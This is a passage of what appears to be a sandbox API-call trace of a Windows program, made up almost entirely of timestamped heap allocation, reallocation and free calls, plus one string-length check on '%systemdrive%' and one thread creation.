0x570d88 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f230 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x570d88 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x570838 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557138 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x570898 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556698 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5708f8 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x570c78 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x570958 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557cd0 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5707d8 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x570be8 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x570760 | out: hHeap=0x510000) returned 1 [0126.130] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x54f0e0 [0126.130] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x570790 [0126.130] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x570790, Size=0x20) returned 0x54ec90 [0126.130] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ec90, Size=0x40) returned 0x56edd0 [0126.130] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x570748 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f200 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57ac70 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557bb0 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5708c8 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556610 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5709e8 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f0c0 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5707c0 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525668 | out: hHeap=0x510000) returned 1 [0126.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x526698 | out: hHeap=0x510000) returned 1 [0126.131] lstrlenW (lpString="%systemdrive%") returned 13 [0126.131] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54eb50 | out: hHeap=0x510000) returned 1 [0126.131] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556b60 | out: hHeap=0x510000) returned 1 [0126.131] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f190 | out: hHeap=0x510000) returned 1 [0126.131] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2c) returned 0x52d6e0 [0126.131] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2000) returned 0x570ae0 [0126.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x557fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0126.131] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10014) returned 0x59b410 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x570760 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x570760, Size=0x20) returned 0x54ebc8 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ebc8, Size=0x40) returned 0x56ecf8 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56ecf8, Size=0x80) returned 0x556d80 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x556d80, Size=0x100) returned 0x557bb0 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x557bb0, Size=0x200) returned 0x5ab430 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5ab430, Size=0x400) returned 0x5ab430 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5ab430, Size=0x800) returned 0x5ab430 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5ab430, Size=0x1000) returned 0x5ab430 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5ac438 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x570790 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5708b0 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f230 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5708e0 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f260 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5708f8 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f230, Size=0x8) returned 0x54f0d0 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570a00 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f0d0, Size=0x10) returned 0x5709e8 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570778 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570940 [0126.132] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5709e8, Size=0x20) returned 0x54ed58 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5708c8 [0126.132] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f2a0 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x570970 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x570838 [0126.133] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ed58, Size=0x40) returned 0x56eea8 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x570880 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x5707d8 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x5707a8 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x570988 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570868 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570910 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f230 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570850 [0126.133] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56eea8, Size=0x80) returned 0x556720 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570760 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570898 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570928 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570958 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5709a0 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5709b8 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5709d0 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f280 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5709e8 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5707c0 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5707f0 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570718 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x570730 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570808 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x570820 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570a18 [0126.133] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x556720, Size=0x100) returned 0x5bcba0 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570a30 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570ac0 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570a48 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x570a78 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570a60 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570a90 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f0c0 [0126.133] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570aa8 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fc80 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fbf0 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x54f0d0 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fb18 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fd58 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f190 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fce0 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fcb0 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x56fdb8 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fdd0 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fe00 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fda0 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x56fb30 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fc68 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x56fc08 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fcf8 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fd70 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fc20 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fc98 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f1a0 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fc38 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fc50 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fbc0 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fd10 [0126.134] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bcba0, Size=0x200) returned 0x5bd448 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fb48 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f1e0 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fcc8 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fd88 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fde8 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fd28 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fd40 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fb60 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fb78 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fb90 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fbd8 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x56fba8 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x56ff38 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fe78 [0126.134] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570040 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x56fff8 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x56fea8 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fed8 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5700e8 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x56ff98 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56ff08 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fe48 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56ff20 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f200 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56ff80 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56ffb0 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570010 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f3a0 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56ff68 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x570028 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570100 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fe30 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5700a0 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fe60 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56ffc8 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56ffe0 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x56ff50 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x570058 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fe90 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570070 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570088 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5700b8 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5700d0 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fe18 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fec0 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x56fef0 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570130 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5701a8 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5701c0 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x526d88 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5bd740 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5703e8 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570220 [0126.135] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5701d8 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570388 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5703a0 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5703b8 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5702b0 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5701f0 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570400 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5703d0 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x570118 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5702f8 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570250 [0126.136] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5bd448, Size=0x400) returned 0x5bda58 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570208 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570268 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x570148 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570328 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570310 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570160 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x570280 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570178 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570238 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570298 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5bd700 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5702c8 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x570190 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5702e0 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570340 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570358 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570370 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x5705e0 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570568 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570430 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570538 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5704d8 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570478 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5705c8 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5705f8 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570658 [0126.136] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5bd7d0 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5706d0 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5704f0 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570610 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570418 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5705b0 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570448 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570640 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5704c0 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570508 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x570700 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570580 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x570520 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570460 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570628 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570550 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570490 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5704a8 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x570598 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570670 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x570688 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5706a0 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5706b8 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5706e8 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57ac70 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x573a88 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x573aa0 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x573ab8 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x573ad0 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x573a70 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x573a28 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x573a40 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x573a58 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572c30 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572c60 [0126.137] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572b58 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x572bb8 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x5264f8 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572d20 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572de0 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572be8 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572dc8 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572df8 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572d68 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572d38 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572ba0 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572bd0 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572cd8 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572c00 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572b88 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572cc0 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572c18 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572b70 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572c48 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572c90 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572d50 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572cf0 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x572b28 [0126.138] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x572c78 [0126.138] 